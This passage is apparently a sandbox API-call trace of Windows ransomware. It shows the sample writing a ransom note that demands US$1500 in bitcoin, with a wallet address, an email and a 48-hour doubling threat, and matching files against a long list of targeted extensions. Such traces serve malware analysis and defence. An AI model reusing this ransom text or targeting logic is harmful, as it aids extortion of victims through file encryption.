FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Design\\52873358b397c328168f0a5be7f3b9ae\\HOW TO DECRYPT FILES.txt" [0105.198] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Design\\52873358b397c328168f0a5be7f3b9ae\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\system.design\\52873358b397c328168f0a5be7f3b9ae\\how to decrypt files.txt")) returned 0xffffffff [0105.198] CreateFileA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Design\\52873358b397c328168f0a5be7f3b9ae\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\system.design\\52873358b397c328168f0a5be7f3b9ae\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0105.199] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0105.199] WriteFile (in: hFile=0x90, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0105.201] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0105.201] CloseHandle (hObject=0x90) returned 1 [0105.201] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Design\\52873358b397c328168f0a5be7f3b9ae\\", lpString2="System.Design.ni.dll" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Design\\52873358b397c328168f0a5be7f3b9ae\\System.Design.ni.dll") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Design\\52873358b397c328168f0a5be7f3b9ae\\System.Design.ni.dll" [0105.201] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Design\\52873358b397c328168f0a5be7f3b9ae\\System.Design.ni.dll", pszSpec="*.ems") returned 0 [0105.201] lstrlenA (lpString="*.ems") returned 5 [0105.201] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Design\\52873358b397c328168f0a5be7f3b9ae\\System.Design.ni.dll", pszSpec="*.db") returned 0 [0105.201] lstrlenA (lpString="*.db") returned 4 [0105.201] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Design\\52873358b397c328168f0a5be7f3b9ae\\System.Design.ni.dll", pszSpec="*.dbf") returned 0 [0105.201] lstrlenA (lpString="*.dbf") returned 5 [0105.201] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Design\\52873358b397c328168f0a5be7f3b9ae\\System.Design.ni.dll", pszSpec="*.myox") returned 0 [0105.201] lstrlenA (lpString="*.myox") returned 6 [0105.201] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Design\\52873358b397c328168f0a5be7f3b9ae\\System.Design.ni.dll", pszSpec="*.myo") returned 0 [0105.201] lstrlenA (lpString="*.myo") returned 5 [0105.201] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Design\\52873358b397c328168f0a5be7f3b9ae\\System.Design.ni.dll", pszSpec="*.qbw") returned 0 [0105.202] lstrlenA (lpString="*.qbw") returned 5 [0105.202] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Design\\52873358b397c328168f0a5be7f3b9ae\\System.Design.ni.dll", pszSpec="*.qbb") returned 0 [0105.202] lstrlenA (lpString="*.qbb") returned 5 [0105.202] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Design\\52873358b397c328168f0a5be7f3b9ae\\System.Design.ni.dll", pszSpec="*.qbm") returned 0 [0105.202] lstrlenA (lpString="*.qbm") returned 5 [0105.202] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Design\\52873358b397c328168f0a5be7f3b9ae\\System.Design.ni.dll", pszSpec="*.qbo") returned 0 [0105.202] lstrlenA (lpString="*.qbo") returned 5 [0105.202] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Design\\52873358b397c328168f0a5be7f3b9ae\\System.Design.ni.dll", pszSpec="*.qbx") returned 0 [0105.202] lstrlenA (lpString="*.qbx") returned 5 [0105.202] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Design\\52873358b397c328168f0a5be7f3b9ae\\System.Design.ni.dll", pszSpec="*.qba") returned 0 [0105.202] lstrlenA (lpString="*.qba") returned 5 [0105.202] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Design\\52873358b397c328168f0a5be7f3b9ae\\System.Design.ni.dll", pszSpec="*.qby") returned 0 [0105.202] lstrlenA (lpString="*.qby") returned 5 [0105.202] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Design\\52873358b397c328168f0a5be7f3b9ae\\System.Design.ni.dll", pszSpec="*.qbj") returned 0 [0105.202] lstrlenA (lpString="*.qbj") returned 5 [0105.202] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Design\\52873358b397c328168f0a5be7f3b9ae\\System.Design.ni.dll", pszSpec="*.ofx") returned 0 [0105.202] lstrlenA (lpString="*.ofx") returned 5 [0105.202] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Design\\52873358b397c328168f0a5be7f3b9ae\\System.Design.ni.dll", pszSpec="*.qif") returned 0 [0105.202] lstrlenA (lpString="*.qif") returned 5 [0105.202] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Design\\52873358b397c328168f0a5be7f3b9ae\\System.Design.ni.dll", pszSpec="*.mye") returned 0 [0105.202] lstrlenA (lpString="*.mye") returned 5 [0105.203] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Design\\52873358b397c328168f0a5be7f3b9ae\\System.Design.ni.dll", pszSpec="*.mbox") returned 0 [0105.203] lstrlenA (lpString="*.mbox") returned 6 [0105.203] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Design\\52873358b397c328168f0a5be7f3b9ae\\System.Design.ni.dll", pszSpec="*.eml") returned 0 [0105.203] lstrlenA (lpString="*.eml") returned 5 [0105.203] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Design\\52873358b397c328168f0a5be7f3b9ae\\System.Design.ni.dll", pszSpec="*.pst") returned 0 [0105.203] lstrlenA (lpString="*.pst") returned 5 [0105.203] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Design\\52873358b397c328168f0a5be7f3b9ae\\System.Design.ni.dll", pszSpec="*.ost") returned 0 [0105.203] lstrlenA (lpString="*.ost") returned 5 [0105.203] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Design\\52873358b397c328168f0a5be7f3b9ae\\System.Design.ni.dll", pszSpec="*.idx") returned 0 [0105.203] lstrlenA (lpString="*.idx") returned 5 [0105.203] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Design\\52873358b397c328168f0a5be7f3b9ae\\System.Design.ni.dll", pszSpec="*.dbx") returned 0 [0105.203] lstrlenA (lpString="*.dbx") returned 5 [0105.203] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Design\\52873358b397c328168f0a5be7f3b9ae\\System.Design.ni.dll", pszSpec="*.sql") returned 0 [0105.204] lstrlenA (lpString="*.sql") returned 5 [0105.205] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Design\\52873358b397c328168f0a5be7f3b9ae\\System.Design.ni.dll", pszSpec="*.mdb") returned 0 [0105.205] lstrlenA (lpString="*.mdb") returned 5 [0105.205] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Design\\52873358b397c328168f0a5be7f3b9ae\\System.Design.ni.dll", pszSpec="*.fdb") returned 0 [0105.205] lstrlenA (lpString="*.fdb") returned 5 [0105.205] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Design\\52873358b397c328168f0a5be7f3b9ae\\System.Design.ni.dll", pszSpec="*.wab") returned 0 [0105.205] lstrlenA (lpString="*.wab") returned 5 [0105.205] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Design\\52873358b397c328168f0a5be7f3b9ae\\System.Design.ni.dll", pszSpec="*.dat") returned 0 [0105.205] lstrlenA (lpString="*.dat") returned 5 [0105.205] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Design\\52873358b397c328168f0a5be7f3b9ae\\System.Design.ni.dll", pszSpec="*.txt") returned 0 [0105.205] lstrlenA (lpString="*.txt") returned 5 [0105.205] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Design\\52873358b397c328168f0a5be7f3b9ae\\System.Design.ni.dll", pszSpec="*.jpeg") returned 0 [0105.205] lstrlenA (lpString="*.jpeg") returned 6 [0105.205] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Design\\52873358b397c328168f0a5be7f3b9ae\\System.Design.ni.dll", pszSpec="*.jpg") returned 0 [0105.205] lstrlenA (lpString="*.jpg") returned 5 [0105.205] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Design\\52873358b397c328168f0a5be7f3b9ae\\System.Design.ni.dll", pszSpec="*.png") returned 0 [0105.205] lstrlenA (lpString="*.png") returned 5 [0105.205] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Design\\52873358b397c328168f0a5be7f3b9ae\\System.Design.ni.dll", pszSpec="*.php") returned 0 [0105.206] lstrlenA (lpString="*.php") returned 5 [0105.206] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Design\\52873358b397c328168f0a5be7f3b9ae\\System.Design.ni.dll", pszSpec="*.cs") returned 0 [0105.206] lstrlenA (lpString="*.cs") returned 4 [0105.206] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Design\\52873358b397c328168f0a5be7f3b9ae\\System.Design.ni.dll", pszSpec="*.cpp") returned 0 [0105.206] lstrlenA (lpString="*.cpp") returned 5 [0105.206] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Design\\52873358b397c328168f0a5be7f3b9ae\\System.Design.ni.dll", pszSpec="*.rar") returned 0 [0105.206] lstrlenA (lpString="*.rar") returned 5 [0105.206] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Design\\52873358b397c328168f0a5be7f3b9ae\\System.Design.ni.dll", pszSpec="*.zip") returned 0 [0105.206] lstrlenA (lpString="*.zip") returned 5 [0105.206] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Design\\52873358b397c328168f0a5be7f3b9ae\\System.Design.ni.dll", pszSpec="*.html") returned 0 [0105.206] lstrlenA (lpString="*.html") returned 6 [0105.206] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Design\\52873358b397c328168f0a5be7f3b9ae\\System.Design.ni.dll", pszSpec="*.htm") returned 0 [0105.206] lstrlenA (lpString="*.htm") returned 5 [0105.206] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Design\\52873358b397c328168f0a5be7f3b9ae\\System.Design.ni.dll", pszSpec="*.xlsx") returned 0 [0105.206] lstrlenA (lpString="*.xlsx") returned 6 [0105.206] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Design\\52873358b397c328168f0a5be7f3b9ae\\System.Design.ni.dll", pszSpec="*.xls") returned 0 [0105.206] lstrlenA (lpString="*.xls") returned 5 [0105.206] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Design\\52873358b397c328168f0a5be7f3b9ae\\System.Design.ni.dll", pszSpec="*.mp4") returned 0 [0105.206] lstrlenA (lpString="*.mp4") returned 5 [0105.207] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Design\\52873358b397c328168f0a5be7f3b9ae\\System.Design.ni.dll", pszSpec="*.ppt") returned 0 [0105.207] lstrlenA (lpString="*.ppt") returned 5 [0105.207] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Design\\52873358b397c328168f0a5be7f3b9ae\\System.Design.ni.dll", pszSpec="*.pptx") returned 0 [0105.207] lstrlenA (lpString="*.pptx") returned 6 [0105.207] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Design\\52873358b397c328168f0a5be7f3b9ae\\System.Design.ni.dll", pszSpec="*.doc") returned 0 [0105.207] lstrlenA (lpString="*.doc") returned 5 [0105.207] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Design\\52873358b397c328168f0a5be7f3b9ae\\System.Design.ni.dll", pszSpec="*.dot") returned 0 [0105.207] lstrlenA (lpString="*.dot") returned 5 [0105.207] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Design\\52873358b397c328168f0a5be7f3b9ae\\System.Design.ni.dll", pszSpec="*.docx") returned 0 [0105.207] lstrlenA (lpString="*.docx") returned 6 [0105.207] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Design\\52873358b397c328168f0a5be7f3b9ae\\System.Design.ni.dll", pszSpec="*.7z") returned 0 [0105.207] lstrlenA (lpString="*.7z") returned 4 [0105.207] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Design\\52873358b397c328168f0a5be7f3b9ae\\System.Design.ni.dll", pszSpec="*.tar") returned 0 [0105.207] lstrlenA (lpString="*.tar") returned 5 [0105.207] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Design\\52873358b397c328168f0a5be7f3b9ae\\System.Design.ni.dll", pszSpec="*.bz2") returned 0 [0105.207] lstrlenA (lpString="*.bz2") returned 5 [0105.207] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Design\\52873358b397c328168f0a5be7f3b9ae\\System.Design.ni.dll", pszSpec="*.gz") returned 0 [0105.208] lstrlenA (lpString="*.gz") returned 4 [0105.208] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Design\\52873358b397c328168f0a5be7f3b9ae\\System.Design.ni.dll", pszSpec="*.mkv") returned 0 [0105.208] lstrlenA (lpString="*.mkv") returned 5 [0105.208] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Design\\52873358b397c328168f0a5be7f3b9ae\\System.Design.ni.dll", pszSpec="*.eml") returned 0 [0105.208] lstrlenA (lpString="*.eml") returned 5 [0105.208] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Design\\52873358b397c328168f0a5be7f3b9ae\\System.Design.ni.dll", pszSpec="*.msg") returned 0 [0105.208] lstrlenA (lpString="*.msg") returned 5 [0105.208] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Design\\52873358b397c328168f0a5be7f3b9ae\\System.Design.ni.dll", pszSpec="*.edb") returned 0 [0105.208] lstrlenA (lpString="*.edb") returned 5 [0105.208] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Design\\52873358b397c328168f0a5be7f3b9ae\\System.Design.ni.dll", pszSpec="*.accdb") returned 0 [0105.208] lstrlenA (lpString="*.accdb") returned 7 [0105.208] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Design\\52873358b397c328168f0a5be7f3b9ae\\System.Design.ni.dll", pszSpec="*.odb") returned 0 [0105.208] lstrlenA (lpString="*.odb") returned 5 [0105.208] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Design\\52873358b397c328168f0a5be7f3b9ae\\System.Design.ni.dll", pszSpec="*.java") returned 0 [0105.208] lstrlenA (lpString="*.java") returned 6 [0105.208] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Design\\52873358b397c328168f0a5be7f3b9ae\\System.Design.ni.dll", pszSpec="*.asm") returned 0 [0105.208] lstrlenA (lpString="*.asm") returned 5 [0105.208] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Design\\52873358b397c328168f0a5be7f3b9ae\\System.Design.ni.dll", pszSpec="*.pfx") returned 0 [0105.209] lstrlenA (lpString="*.pfx") returned 5 [0105.209] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Design\\52873358b397c328168f0a5be7f3b9ae\\System.Design.ni.dll", pszSpec="*.pem") returned 0 [0105.209] lstrlenA (lpString="*.pem") returned 5 [0105.209] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Design\\52873358b397c328168f0a5be7f3b9ae\\System.Design.ni.dll", pszSpec="*.p12") returned 0 [0105.209] lstrlenA (lpString="*.p12") returned 5 [0105.209] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Design\\52873358b397c328168f0a5be7f3b9ae\\System.Design.ni.dll", pszSpec="*.gpg") returned 0 [0105.209] lstrlenA (lpString="*.gpg") returned 5 [0105.209] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Design\\52873358b397c328168f0a5be7f3b9ae\\System.Design.ni.dll", pszSpec="*.vsd") returned 0 [0105.209] lstrlenA (lpString="*.vsd") returned 5 [0105.209] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Design\\52873358b397c328168f0a5be7f3b9ae\\System.Design.ni.dll", pszSpec="*.odg") returned 0 [0105.209] lstrlenA (lpString="*.odg") returned 5 [0105.209] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Design\\52873358b397c328168f0a5be7f3b9ae\\System.Design.ni.dll", pszSpec="*.raw") returned 0 [0105.209] lstrlenA (lpString="*.raw") returned 5 [0105.209] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Design\\52873358b397c328168f0a5be7f3b9ae\\System.Design.ni.dll", pszSpec="*.nef") returned 0 [0105.209] lstrlenA (lpString="*.nef") returned 5 [0105.209] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Design\\52873358b397c328168f0a5be7f3b9ae\\System.Design.ni.dll", pszSpec="*.svg") returned 0 [0105.209] lstrlenA (lpString="*.svg") returned 5 [0105.209] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Design\\52873358b397c328168f0a5be7f3b9ae\\System.Design.ni.dll", pszSpec="*.psd") returned 0 [0105.209] lstrlenA (lpString="*.psd") returned 5 [0105.210] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Design\\52873358b397c328168f0a5be7f3b9ae\\System.Design.ni.dll", pszSpec="*.vmx") returned 0 [0105.210] lstrlenA (lpString="*.vmx") returned 5 [0105.210] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Design\\52873358b397c328168f0a5be7f3b9ae\\System.Design.ni.dll", pszSpec="*.vmdk") returned 0 [0105.210] lstrlenA (lpString="*.vmdk") returned 6 [0105.210] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Design\\52873358b397c328168f0a5be7f3b9ae\\System.Design.ni.dll", pszSpec="*.vdi") returned 0 [0105.210] lstrlenA (lpString="*.vdi") returned 5 [0105.210] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Design\\52873358b397c328168f0a5be7f3b9ae\\System.Design.ni.dll", pszSpec="*.lay6") returned 0 [0105.210] lstrlenA (lpString="*.lay6") returned 6 [0105.210] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Design\\52873358b397c328168f0a5be7f3b9ae\\System.Design.ni.dll", pszSpec="*.mpeg") returned 0 [0105.210] lstrlenA (lpString="*.mpeg") returned 6 [0105.210] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Design\\52873358b397c328168f0a5be7f3b9ae\\System.Design.ni.dll", pszSpec="*.djvu") returned 0 [0105.210] lstrlenA (lpString="*.djvu") returned 6 [0105.210] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Design\\52873358b397c328168f0a5be7f3b9ae\\System.Design.ni.dll", pszSpec="*.tiff") returned 0 [0105.210] lstrlenA (lpString="*.tiff") returned 6 [0105.210] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Design\\52873358b397c328168f0a5be7f3b9ae\\System.Design.ni.dll", pszSpec="*.backup") returned 0 [0105.210] lstrlenA (lpString="*.backup") returned 8 [0105.210] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Design\\52873358b397c328168f0a5be7f3b9ae\\System.Design.ni.dll", pszSpec="*.pdf") returned 0 [0105.210] lstrlenA (lpString="*.pdf") returned 5 [0105.210] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Design\\52873358b397c328168f0a5be7f3b9ae\\System.Design.ni.dll", pszSpec="*.cert") returned 0 [0105.211] lstrlenA (lpString="*.cert") returned 6 [0105.211] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Design\\52873358b397c328168f0a5be7f3b9ae\\System.Design.ni.dll", pszSpec="*.docm") returned 0 [0105.211] lstrlenA (lpString="*.docm") returned 6 [0105.211] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Design\\52873358b397c328168f0a5be7f3b9ae\\System.Design.ni.dll", pszSpec="*.xlsm") returned 0 [0105.211] lstrlenA (lpString="*.xlsm") returned 6 [0105.211] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Design\\52873358b397c328168f0a5be7f3b9ae\\System.Design.ni.dll", pszSpec="*.dwg") returned 0 [0105.211] lstrlenA (lpString="*.dwg") returned 5 [0105.211] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Design\\52873358b397c328168f0a5be7f3b9ae\\System.Design.ni.dll", pszSpec="*.nd") returned 0 [0105.211] lstrlenA (lpString="*.nd") returned 4 [0105.211] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Design\\52873358b397c328168f0a5be7f3b9ae\\System.Design.ni.dll", pszSpec="*.tlg") returned 0 [0105.211] lstrlenA (lpString="*.tlg") returned 5 [0105.211] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Design\\52873358b397c328168f0a5be7f3b9ae\\System.Design.ni.dll", pszSpec="*.lgb") returned 0 [0105.211] lstrlenA (lpString="*.lgb") returned 5 [0105.211] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Design\\52873358b397c328168f0a5be7f3b9ae\\System.Design.ni.dll", pszSpec="*.mov") returned 0 [0105.211] lstrlenA (lpString="*.mov") returned 5 [0105.211] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Design\\52873358b397c328168f0a5be7f3b9ae\\System.Design.ni.dll", pszSpec="*.xdw") returned 0 [0105.211] lstrlenA (lpString="*.xdw") returned 5 [0105.211] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Design\\52873358b397c328168f0a5be7f3b9ae\\System.Design.ni.dll", pszSpec="*.ods") returned 0 [0105.211] lstrlenA (lpString="*.ods") returned 5 [0105.212] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Design\\52873358b397c328168f0a5be7f3b9ae\\System.Design.ni.dll", pszSpec="*.wav") returned 0 [0105.212] lstrlenA (lpString="*.wav") returned 5 [0105.212] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Design\\52873358b397c328168f0a5be7f3b9ae\\System.Design.ni.dll", pszSpec="*.mp3") returned 0 [0105.212] lstrlenA (lpString="*.mp3") returned 5 [0105.212] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Design\\52873358b397c328168f0a5be7f3b9ae\\System.Design.ni.dll", pszSpec="*.aiff") returned 0 [0105.212] lstrlenA (lpString="*.aiff") returned 6 [0105.212] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Design\\52873358b397c328168f0a5be7f3b9ae\\System.Design.ni.dll", pszSpec="*.flac") returned 0 [0105.212] lstrlenA (lpString="*.flac") returned 6 [0105.212] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Design\\52873358b397c328168f0a5be7f3b9ae\\System.Design.ni.dll", pszSpec="*.m4a") returned 0 [0105.212] lstrlenA (lpString="*.m4a") returned 5 [0105.212] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Design\\52873358b397c328168f0a5be7f3b9ae\\System.Design.ni.dll", pszSpec="*.csv") returned 0 [0105.212] lstrlenA (lpString="*.csv") returned 5 [0105.212] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1735a3bb, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x1735a3bb, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x1756f6fe, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0xa17200, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="System.Design.ni.dll", cAlternateFileName="SYSTEM~1.DLL")) returned 0 [0105.212] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0105.212] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17784a42, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x17784a42, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x17784a42, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="52873358b397c328168f0a5be7f3b9ae", cAlternateFileName="528733~1")) returned 0 [0105.213] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0105.213] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc712a3d, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x88cefb6f, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x88cefb6f, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x790053, dwReserved1=0x740073, cFileName="System.DirectorySer#", 